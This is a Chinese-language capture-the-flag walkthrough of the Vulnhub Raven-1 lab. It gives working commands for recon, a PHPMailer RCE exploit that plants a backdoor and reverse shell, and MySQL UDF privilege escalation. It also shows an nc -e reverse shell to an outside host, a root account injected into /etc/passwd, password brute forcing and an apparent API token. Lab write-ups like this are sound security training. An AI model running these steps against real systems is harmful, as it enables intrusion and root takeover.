Vulnhub百个项目渗透——项目十五:Raven-1(wp利用,UDF提权)
靶场地址
🔥系列专栏:Vulnhub百个项目渗透
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年9月17日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。
ifconfig
nmap -sP 192.168.247.0/24
nmap -sS -sV -A -T5 192.168.247.144
发现开启了ssh,web以及一个rpcbind服务
先对web页面进行突破
首先页面所有东西乱点一通,查看源码,发现了第一个flag,这里我直接用的crtl+f搜索页面文本,因为眼睛真的会谢。。
然后还发现了一些php文件
dirb http://192.168.247.144
发现了wordpress的文件夹,说明这是个wp站点,我们一会要用wpscan以及awvs一起扫描
还发现了vendor文件夹,这是默认目录,多搞几个wp的站就晓得了
这么多目录明眼人以看就会看oath以及readme.md以及version文件
因为其他的都没见过
实际情况也不会有变态把文件名起的很奇怪,因为他自己也要用不是?
phpmailer,OKOK
版本号也知道了
searchsploit phpmailer 5.2.16
搜一哈exp,看看kali有没有,只要kali能搜到,那肯定能整,但是更具体的还是要去谷歌搜,因为kali的能不能用还是两说,直接谷歌也方便
谷歌:PHPMailer 5.2.16 exp
CVE-2016-10033
点开网页发现exp编号:
kali输入
searchsploit 40974
cp /usr/share/exploitdb/exploits/php/webapps/40974.py . ---这里有个点
改改参数,我红框里这些要改。根据漏洞库官方给出的用法(上图)
执行exp
python3 40974.py
如果环境报错按照环境安装:
需要安装requests_toolbelt模块,使用命令:pip install requests-toolbelt安装即可,如果没用pip,需要sudo apt-get install python-pip安装即可。
访问http://192.168.247.144/contact.php,此时就会生成后门文件rong.php
本地开启监听:nc -vlp 6666
访问:http://192.168.247.144/rong.php
获得反弹shell!
python -c 'import pty;pty.spawn("/bin/bash")'
首先先上传3个提权辅助
本地打开python服务,靶机下载kali文件
python -m http.server 8082
wget http://192.168.247.129:8082/linpeas.sh```
目录一顿翻找,发现第三个flag以及一个wp-config文件,一般来说里面会有数据库的账号密码,那就在这个里面搜索一下
grep "password" -rn wp-config.php
说在第28行
得到了账号密码,并且数据库是root运行,那么就清楚了,可以试试udf提权
1)查看是否能udf提权:条件1
条件1:查看是否是root权限运行
ps aux | grep root ---查看mysql进程信息
条件2:查看mysql版本
dpkg -l | grep mysql --查看历史安装包版本 5.5.6
2)首先看一下是否满足写入条件:条件2
show global variables like 'secure%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | |
+------------------+-------+
2 rows in set (0.00 sec)
1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。
3)查看插件目录:条件3
show variables like '%plugin%';
+---------------+------------------------+
| Variable_name | Value |
+---------------+------------------------+
| plugin_dir | /usr/lib/mysql/plugin/ |
+---------------+------------------------+
1 row in set (0.00 sec)
查看能否远程登陆:
use mysql;
select user,host from user;
+------------------+-----------+
| user | host |
+------------------+-----------+
| root | 127.0.0.1 |
| root | ::1 |
| debian-sys-maint | localhost |
| root | localhost |
| root | raven |
+------------------+-----------+
5 rows in set (0.00 sec)
发现这里root用户不允许远程登陆,因此不能利用MSF提权。
然后这是5.x的版本,我们直接搜5.x的UDF提权
UDF提权,简单来说就是做一个新的函数放到插件库里,因为sql具有root权限,所以新建的函数就是root
1)准备exp:
谷歌搜索:mysql 5.x UDF exp
searchsploit 1518.c
cp /usr/share/exploitdb/exploits/linux/local/1518.c .
gcc -g -c 1518.c ---GCC编译.o文件
gcc -g -shared -o rong.so 1518.o -lc
以上在kali操作
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名
2)上传exp
wget http://192.168.247.129:8080/rong.so
show databases;
use mysql
select database();
3)创建表
进入数据库创建数据表rong:
create table rong(line blob);
4)插入数据
插入数据文件:
insert into rong values(load_file('/tmp/rong.so'));
5)导出并新建存储函数
rong表成功插入二进制数据,然后利用dumpfile函数把文件导出,
outfile 多行导出
dumpfile一行导出
outfile会有特殊的转换,而dumpfile是原数据导出!
新建存储函数:
select * from rong into dumpfile '/usr/lib/mysql/plugin/rong.so';
6)创建函数
创建自定义函数do_system,类型是integer,别名(soname)文件名字
create function do_system returns integer soname 'dayu.so';
7)查询创建是否成功
select * from mysql.func;
8)借调自定义函数给别的常用命令,使其root权限
调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:
select do_system('chmod u+s /usr/bin/find');
9)执行命令
执行find命令
使用find执行 shell
touch rong 创建一个新的文件夹/没啥用,就是方便使用find命令
find rong -exec "/bin/sh" \;
或者:find rong -exec "id" \;
cd /root
cat flag4.txt
flag4{df2bc5e951d91581467bb9a2a8ff4425}
UDF拓展知识点:
1)nc反弹shell: select do_system(‘nc -nv 10.211.55.28 6677 -e
/bin/bash’);2)创建root权限用户 openssl passwd dayu1 YpIR51FecR9AY select do_system(‘echo
“root:Ef8ipBmhp5pnE:0:0:root:/root:/bin/bash” >> /etc/passwd’); su
dayu
root❌0:0:root:/root:/bin/bash
wpscan --url http://10.211.55.12/wordpress -eu --api-token kJ4bhZCgveCcoGJPER7AOsHJTeFDf90Wfj9zu0V6asc
在数据库wordpress的wp_posts表中发现: flag3{afc01ab56b50591e7dccf93122770cd2}
flag4{715dea6c055b9fe3337544932f2941ce}
内网信息收集用户名爆破
1)linpeas脚本枚举用户:michael、steven
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 10.211.55.12 ssh
[22][ssh] host: 192.168.247.144 login: michael password: michael
2)数据库枚举密码值爆破
数据库枚举发现信息:
mysql -uroot -pR@v3nSecurity
show databases;
use wordpress
show tables;
select * from wp_users;
michael:$P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0
steven:$P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/
john --wordlist=/usr/share/wordlists/rockyou.txt 1.txt
pink84 (steven)
steven
pink84
ssh steven@10.211.55.12
sudo -l
User steven may run the following commands on raven:
(ALL) NOPASSWD: /usr/bin/python
发现是python给与的最高权限!
sudo python -c 'import pty; pty.spawn("/bin/bash")'
这时候用sudo执行python就能拿到root的shell!